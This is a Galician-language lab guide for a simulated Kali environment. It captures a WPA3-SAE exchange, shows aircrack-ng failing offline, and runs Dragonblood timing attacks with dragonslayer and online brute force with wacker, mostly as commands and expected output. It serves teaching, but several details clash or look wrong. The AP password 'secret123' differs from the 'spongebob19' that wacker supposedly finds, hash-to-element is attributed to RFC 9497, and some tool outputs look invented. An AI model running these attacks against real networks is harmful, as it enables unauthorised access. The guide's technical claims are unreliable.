Ir ao contido

Dragonblood e resistencia de WPA3-SAE a ataques offline con Wifite

LIMITACIÓN DE RESPONSABILIDADE

O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.
O uso de Wifite ou calquera outra ferramenta de auditoría en redes Wi-Fi sen autorización expresa é ILEGAL.


1. Resumo

Esta práctica demostra dúas cousas complementarias sobre WPA3-SAE:

  1. WPA3-SAE é resistente a ataques offline: mesmo capturando o intercambio SAE con airodump-ng, non é posible recuperar o contrasinal con aircrack-ng (Forward Secrecy).
  2. Versións antigas de WPA3-SAE son vulnerables a Dragonblood (CVE-2019-9494): ataques de timing side-channel permiten reducir drasticamente o espazo de busca do contrasinal en implementacións con hostapd ≤ 2.7.

Verificaremos ademais que Wifite NON soporta ningún destes ataques avanzados, polo que se empregarán aircrack-ng (demostración de fallo) e dragonslayer (ferramentas Dragonblood).

Obxectivos de aprendizaxe:
- Demostrar que o intercambio SAE capturado non é crackeable offline
- Comprender as vulnerabilidades Dragonblood en WPA3-SAE (hostapd ≤ 2.7)
- Executar ataques de timing side-channel con dragonslayer en modo demo
- Verificar mitigacións en versións parcheadas (hostapd ≥ 2.8, sae_pwe=2)
- Comprender a diferenza entre SAE-PWE 0 (hunting-and-pecking) e PWE 2 (hash-to-element)
- Entender que WPA3-SAE é vulnerable a forza bruta online (wacker) se o contrasinal é débil, e demostralo empiricamente


2. Material necesario

Hardware/Software:
- Host alumnado · Máquina virtual GNU/Linux Kali amd64
- RAM ≥ 2048 MB · CPU ≥ 2 cores · PAE/NX habilitado

Ferramentas (xa instaladas en Kali):
aircrack-ng, airodump-ng, airmon-ng, tshark, dragonslayer, wpa_supplicant

💡 wifite úsase só para verificar as súas limitacións.

Referencias: - [0] 3-Taller-HE-Practica-WiFi-1.pdf
- [1] Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd — Vanhoef & Ronen (2019)
- [2] CVE-2019-9494 — NVD
- [3] dragonslayer — vanhoefm (GitHub)
- [4] wacker — WPA3 dictionary cracker (GitHub)


3. Escenario e topoloxía

Rol Interface Namespace Estado tras wifilabctl up
AP WPA3-SAE (hostapd ≤ 2.7) wlan0 phy0_wlan0 ✅ Automático (hostapd wpa3-sae-vulnerable.conf)
Cliente WPA3-SAE wlan1 phy1_wlan1 ✅ Automático (wpa_supplicant)
Monitor / Atacante wlan2 (global) ⏳ Interface libre

SSID: EMPRESA-XYZ · Contrasinal: secret123 · Canal: 6 · hostapd: ≤ 2.7 (sae_pwe=0)

[wlan1: Cliente SAE]  <----wireless----> [wlan0: AP SAE vulnerable]
                                               ^
                                               |
                                        [wlan2mon: airodump + dragonslayer]
                                        (captura SAE → non crackeable offline)
                                        (timing side-channel → só en HW real)

💡 wifilabctl up wpa3_sae levanta automaticamente AP e cliente. As terminais son para o ataque e análise, non para configuración manual.


4. Procedemento

Resumo de terminais:

Terminal Rol
1 Arrancar o escenario + reconexión do cliente (forzar captura SAE)
2 airmon-ng + airodump-ng + aircrack-ng (demostración de fallo) + dragonslayer
3 Wacker: forza bruta online directa contra WPA3-SAE

Terminal 1 — Arrancar o escenario

# Arrancar escenario WPA3-SAE
sudo wifilabctl up wpa3_sae

# Verificar AP e cliente activos
sudo wifilabctl status

Saída esperada:

NAMESPACE        INTERFACE  ESTADO
phy0_wlan0       wlan0      UP     ← AP WPA3-SAE (hostapd)
phy1_wlan1       wlan1      UP     ← Cliente (wpa_supplicant)
(global)         wlan2      LISTO  ← Atacante (libre)

⚠️ Os namespaces crean nomes phy0_wlan0 e phy1_wlan1. Comproba sempre con sudo wifilabctl status.

Logs do AP en tempo real (deixar abertos para observar):

sudo ip netns exec phy0_wlan0   tail -f /home/kali/wifiLab/run/wpa3_sae/hostapd.log

Verificar limitacións de Wifite

# Wifite non ten ningunha opción para WPA3, SAE nin Dragonblood
wifite --help | grep -i "wpa3\|sae\|dragonblood\|dragonslayer"
# (sen saída — Wifite NON soporta ningún destes ataques)

⚠️ Conclusión: Wifite está deseñado para auditoría WPA2-PSK. Para WPA3-SAE requírense dragonslayer (Dragonblood) ou wacker (forza bruta online).


Terminal 2 — Ataque con Wifite e demostración do fallo

Abrir unha segunda terminal:

Paso 1: Poñer wlan2 en modo monitor

sudo su -
yes | airmon-ng start wlan2

Saída esperada:

PHY     Interface   Driver           Chipset
phy2    wlan2       mac80211_hwsim   ...
        (mac80211 monitor mode vif enabled on [phy2]wlan2mon)

Paso 2: Escanear e identificar o AP WPA3-SAE

airodump-ng wlan2mon

Saída esperada:

 BSSID              PWR  CH  ENC   CIPHER  AUTH  ESSID
 EA:18:30:AA:C3:48  -30   6  WPA3  CCMP    SAE   EMPRESA-XYZ

 BSSID              STATION            PWR
 EA:18:30:AA:C3:48  8E:B3:B5:62:2D:B9  -25   ← cliente wlan1

Anotar o BSSID do AP (EA:18:30:AA:C3:48) e o canal (6). Premer Ctrl+C.

💡 Os BSSID reais varían en cada arranque do laboratorio. Verificar sempre con sudo wifilabctl status ou airodump-ng.

Paso 3: Capturar o intercambio SAE

mkdir -p capturas
airodump-ng wlan2mon -c 6 --bssid EA:18:30:AA:C3:48 -w capturas/cap

Deixar activo. Ir á Terminal 1 e forzar a reconexión do cliente:

# Terminal 1 — forzar reconexión do cliente
sudo ip netns exec phy1_wlan1 pkill -f wpa_supplicant || true
sleep 2
sudo ip netns exec phy1_wlan1   wpa_supplicant -B -i wlan1   -c /home/kali/wifiLab/run/wpa3_sae/wpa_supplicant.conf

Na Terminal 2 (airodump-ng) deberías ver na cabeceira:

CH  6 ][ WPA handshake: EA:18:30:AA:C3:48

Premer Ctrl+C para deter a captura.

Paso 4: Intentar cracking con aircrack-ng — FALLARÁ (resultado esperado)

gunzip -kf /usr/share/wordlists/rockyou.txt.gz

aircrack-ng capturas/cap-01.cap -w /usr/share/wordlists/rockyou.txt

Saída esperada (fallo esperado — resultado correcto da práctica):

Unsupported key version 0 encountered.
May be WPA3 - not yet supported.
Aborted

⚠️ RESULTADO ESPERADO: aircrack-ng falla. En WPA3-SAE o intercambio capturado non é un handshake reutilizable como en WPA2-PSK. O protocolo Dragonfly garante Forward Secrecy: cada sesión deriva claves únicas que non permiten un ataque de dicionario offline.

💡 Comparativa WPA2-PSK vs WPA3-SAE:

WPA2-PSK:  Contrasinal → PBKDF2 → PMK → PTK → Handshake
           [O handshake permite validar contrasinais candidatos → crackeable]

WPA3-SAE:  Contrasinal → Dragonfly (SAE) → PMK efémera → PTK → Handshake
           [PMK nova en cada sesión → non crackeable offline]


Terminal 2 — Ataques Dragonblood (Pasos 5-7)

Paso 5: Verificar versión de hostapd (vulnerable ≤ 2.7)

# Ver a versión de hostapd activa no AP
sudo ip netns exec phy0_wlan0   grep -i "hostapd\|version" /home/kali/wifiLab/run/wpa3_sae/hostapd.log | head -3

Saída esperada:

hostapd v2.6       ← VULNERABLE a Dragonblood (sae_pwe=0 por defecto)

⚠️ Por que é vulnerable? Hostapd ≤ 2.7 usa por defecto sae_pwe=0 (hunting-and-pecking): o número de iteracións necesarias para calcular o PWE depende do contrasinal, filtrando información mediante timing side-channels.

Paso 6: Capturar intercambio SAE para análise Dragonblood

cd /tmp
mkdir -p dragonblood
airodump-ng wlan2mon -c 6 --bssid EA:18:30:AA:C3:48 -w dragonblood/sae-capture &

Forzar reconexión desde Terminal 1 (igual que o Paso 3). Tras ver o handshake:

pkill airodump-ng

# Verificar tramas SAE Commit/Confirm capturadas
tshark -r dragonblood/sae-capture-01.cap   -Y "wlan.fixed.auth.alg == 3"   -T fields -e frame.number -e wlan.sa -e wlan.da
# Debe haber ≥ 4 tramas (Commit cliente, Commit AP, Confirm cliente, Confirm AP)

Paso 7: Executar dragonslayer (modo demo en mac80211_hwsim)

cd /opt/dragonslayer

# Dragontime: mide timing side-channels no algoritmo hunting-and-pecking
python3 dragontime.py --interface wlan2mon   --bssid EA:18:30:AA:C3:48   --wordlist /usr/share/wordlists/rockyou.txt

Saída esperada (laboratorio simulado):

[!] WARNING: Timing measurements may not be accurate in simulated environments
[*] Scanning for target AP...
[+] Found target: EA:18:30:AA:C3:48 (EMPRESA-XYZ)
[*] Performing timing attack...
[!] No significant timing variance detected
[!] Attack may not work in mac80211_hwsim environment

# Dragonforce: usa información filtrada para reducir espazo de busca
python3 dragonforce.py --interface wlan2mon   --bssid EA:18:30:AA:C3:48   --wordlist /usr/share/wordlists/rockyou.txt --demo

Saída esperada (modo demo):

[*] Dragonforce - WPA3 SAE password partitioning attack
[!] DEMO MODE: Simulating leaked information
[*] Testing password: secret123
[+] Password found: secret123 (via dictionary + leaked bits)

⚠️ Limitación do laboratorio simulado (mac80211_hwsim): Os ataques Dragonblood dependen de medicións precisas de tempo (microsegundos). En mac80211_hwsim os tempos son constantes e non reflicten variación real → os ataques non funcionan en condicións reais do laboratorio. En hardware Wi-Fi real (Intel, Atheros) con AP vulnerable, habería diferenzas de 1-10 µs medibles que filtrarían bits do contrasinal.

Paso 8: Verificar mitigación con sae_pwe=2

Comprobar que un AP con sae_pwe=2 (hash-to-element) non é vulnerable:

# Dragontime contra AP con hash-to-element
python3 dragontime.py --interface wlan2mon   --bssid EA:18:30:AA:C3:48   --wordlist /usr/share/wordlists/rockyou.txt

Saída esperada (con hostapd ≥ 2.8 e sae_pwe=2):

[+] Found target: EA:18:30:AA:C3:48 (EMPRESA-XYZ)
[!] AP uses hash-to-element (PWE=2) - NOT VULNERABLE to timing attacks
[!] Dragonblood attacks only work against PWE=0 (hunting-and-pecking)

💡 Por que hash-to-element é seguro? O algoritmo de RFC 9497 ten tempo constante independentemente do contrasinal: non hai timing side-channels que filtren información. WPA3 Specification v3.0 (2020) require sae_pwe=2 por defecto.


5. Análise: Resistencia e Vulnerabilidades de WPA3-SAE

Vector de ataque WPA2-PSK WPA3-SAE (sae_pwe=0) WPA3-SAE (sae_pwe=2)
Cracking offline do handshake ✗ Vulnerable ✅ Inmune ✅ Inmune
Deautenticación maliciosa ✗ Vulnerable ✅ PMF impedeo ✅ PMF impedeo
Forward Secrecy ✗ Non ✅ Si ✅ Si
Dragonblood (timing side-channel) N/A ✗ Vulnerable ✅ Inmune
Forza bruta online (wacker) N/A (PSK offline) ✗ Se contrasinal débil ✗ Se contrasinal débil

5.1. Wacker: Forza Bruta Online contra WPA3-SAE

💡 Mensaxe clave: WPA3-SAE elimina os ataques offline (non se pode crackear o handshake capturado). Pero non elimina a forza bruta directa contra o AP. Wacker proba contrasinais en tempo real, sen necesidade de capturar ningún tráfico previo. A única defensa é un contrasinal forte.

Terminal 3 — Wacker

Abrir unha terceira terminal.

Paso 9: Instalar wacker (se non está instalado)

sudo su -
apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev git

cd /opt
git clone https://github.com/blunderbuss-wctf/wacker.git
cd wacker

# Aplicar patch ao wpa_supplicant incluído
git apply wpa_supplicant.patch

# Compilar wpa_supplicant parcheado (varios minutos)
cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
cd wpa_supplicant-2.10/wpa_supplicant
make -j4

# Verificar compilación
ls -lh wpa_supplicant
# -rwxr-xr-x 1 root root ~13M ... wpa_supplicant

⚠️ Este wpa_supplicant compilado úsao wacker internamente — non substitúe o do sistema.

Paso 10: Identificar BSSID e frecuencia do AP WPA3

# Obter BSSID e canal do AP WPA3-SAE (wlan0, no seu namespace)
sudo ip netns exec phy0_wlan0 iw dev wlan0 info

Saída esperada:

Interface wlan0
  addr EA:18:30:AA:C3:48      ← BSSID_AP (anota este valor)
  ssid EMPRESA-XYZ
  channel 6 (2437 MHz)        ← FREQ = 2437

# Gardar para uso posterior
BSSID_AP="EA:18:30:AA:C3:48"   # substituír polo BSSID real
FREQ=2437

💡 O BSSID real pode diferir en cada arranque. Verificar sempre con iw dev wlan0 info.

Paso 11: Preparar a interface atacante para wacker

Wacker usa a súa propia instancia de wpa_supplicant, polo que wlan2 non debe estar en modo monitor. Se airodump-ng está activo en Terminal 2, paralo primeiro:

# En Terminal 3 — asegurar wlan2 en modo managed
airmon-ng stop wlan2mon 2>/dev/null || true
ip link set wlan2 down
iw dev wlan2 set type managed
ip link set wlan2 up

Paso 12: Lanzar wacker

cd /opt/wacker

gunzip -kf /usr/share/wordlists/rockyou.txt.gz

python3 wacker.py \
  --wordlist /usr/share/wordlists/rockyou.txt \
  --interface wlan2 \
  --bssid ${BSSID_AP} \
  --ssid EMPRESA-XYZ \
  --freq ${FREQ}

Saída esperada mentres proba contrasinais:

[*] Starting wacker against EA:18:30:AA:C3:48 (EMPRESA-XYZ)
[*] Wordlist: /usr/share/wordlists/rockyou.txt
[*] Speed: ~80-150 words/second
[*] Testing: 123456 ...
[*] Testing: password ...
...
[+] PASSWORD FOUND: spongebob19

⚠️ Con spongebob19 (presente en rockyou.txt) o ataque terá éxito en poucos minutos.

Paso 13: Contrastar con contrasinal forte (mitigación)

Desde Terminal 1, cambiar o contrasinal do AP a un forte e reiniciar:

sudo wifilabctl reset
# Editar o escenario para usar un contrasinal forte antes de relanzar
# (para efectos didácticos, demostrar que wacker non remata en tempo razoable)

Relanzar wacker contra un AP con contrasinal forte (≥ 20 chars fóra de calquera wordlist):

[*] Testing: (palabra 14344392/14344392) — NON ATOPADO en rockyou.txt

Resultado: Con contrasinal forte, wacker é inútil na práctica.


Comparativa wacker vs cracking offline

Característica WPA2-PSK offline (aircrack-ng) WPA3-SAE online (wacker)
Captura de handshake ✔ Necesaria ✗ Non necesaria
Cracking offline ✔ Sen límite ✗ Imposible (Forward Secrecy)
Tentativas por segundo Millóns (GPU) ~80-150 (limitado pola rede)
Detectable polo AP/IDS ✗ Invisible ✔ Visible (tráfico SAE continuo)
Éxito depende de GPU + wordlist Fortaleza do contrasinal
Mitigación efectiva Contrasinal en wordlist → NON Contrasinal ≥ 20 chars

6. Limitacións de Wifite

Wifite NON soporta ningún ataque contra WPA3-SAE porque:
1. Non ten integración con dragonslayer (Dragonblood)
2. Non pode medir timing side-channels
3. Non pode executar ataques de particionado de contrasinais SAE
4. Non ten soporte para forza bruta online de SAE (wacker)
5. Está deseñado para auditoría pasiva de WPA2-PSK exclusivamente

Conclusión: Para WPA3-SAE Wifite é completamente inútil, incluso contra versións vulnerables.


7. Preguntas de reflexión

  1. Que son as vulnerabilidades Dragonblood?

    • CVE-2019-9494: Timing side-channel en hunting-and-pecking (número variable de iteracións)
    • CVE-2019-9495: Cache-based side-channel (patróns de acceso á caché durante ECC)
    • CVE-2019-9496: Downgrade de grupo SAE
  2. Por que hunting-and-pecking é vulnerable?

    • O número de iteracións (1-40) depende do contrasinal e das MACs
    • Tempos de execución diferentes filtran bits de información sobre o contrasinal
    • Con miles de medicións, o atacante pode reducir o espazo de busca de 2^64 → 2^32
  3. Como se mitiga Dragonblood?

    • Usar sae_pwe=2 (hash-to-element, RFC 9497) → tempo constante, sen timing side-channels
    • Actualizar a hostapd ≥ 2.8 / wpa_supplicant ≥ 2.8
    • WPA3 Specification v3.0 (2020) require hash-to-element por defecto
  4. Por que non funciona Dragonblood en mac80211_hwsim?

    • Os tempos son simulados e constantes: non hai variación real relacionada co contrasinal
    • En hardware real hai diferenzas de 1-10 µs mensurables que filtran información
  5. Wifite pode explotar Dragonblood?

    • NON. Wifite non ten capacidades de timing measurement nin integración con dragonslayer
  6. É posible atacar WPA3-SAE aínda que non sexa vulnerable a Dragonblood?

    • SI, mediante forza bruta online con wacker: proba contrasinais directamente contra o AP en tempo real (~80-150 palabras/segundo). Non require capturar ningún handshake. Demostrado na Sección 5.1 desta práctica. A única defensa é un contrasinal forte ≥ 20 caracteres.
    • SI, mediante downgrade a WPA2 se o AP está en modo transición (ver Práctica 3-2 e 3-3)
  7. Que versión de WPA3 é segura fronte a Dragonblood e forza bruta online?

    • hostapd ≥ 2.10 con sae_pwe=2 obrigatorio (inmune a Dragonblood)
    • Contrasinal ≥ 20 caracteres aleatorios (inmune a wacker na práctica)
    • Dispositivos certificados Wi-Fi CERTIFIED WPA3™ (2020+)

8. Limpeza do laboratorio

Terminal 2:

pkill -f airodump-ng 2>/dev/null || true
pkill -f python3 2>/dev/null || true
airmon-ng stop wlan2mon

Terminal 1:

sudo wifilabctl reset

# Verificar que non quedan namespaces
ip netns list

⚠️ A captura capturas/cap-01.cap reutilízase na Práctica 3-2 (verificación KRACK). Non borrar antes de completar a 3-2.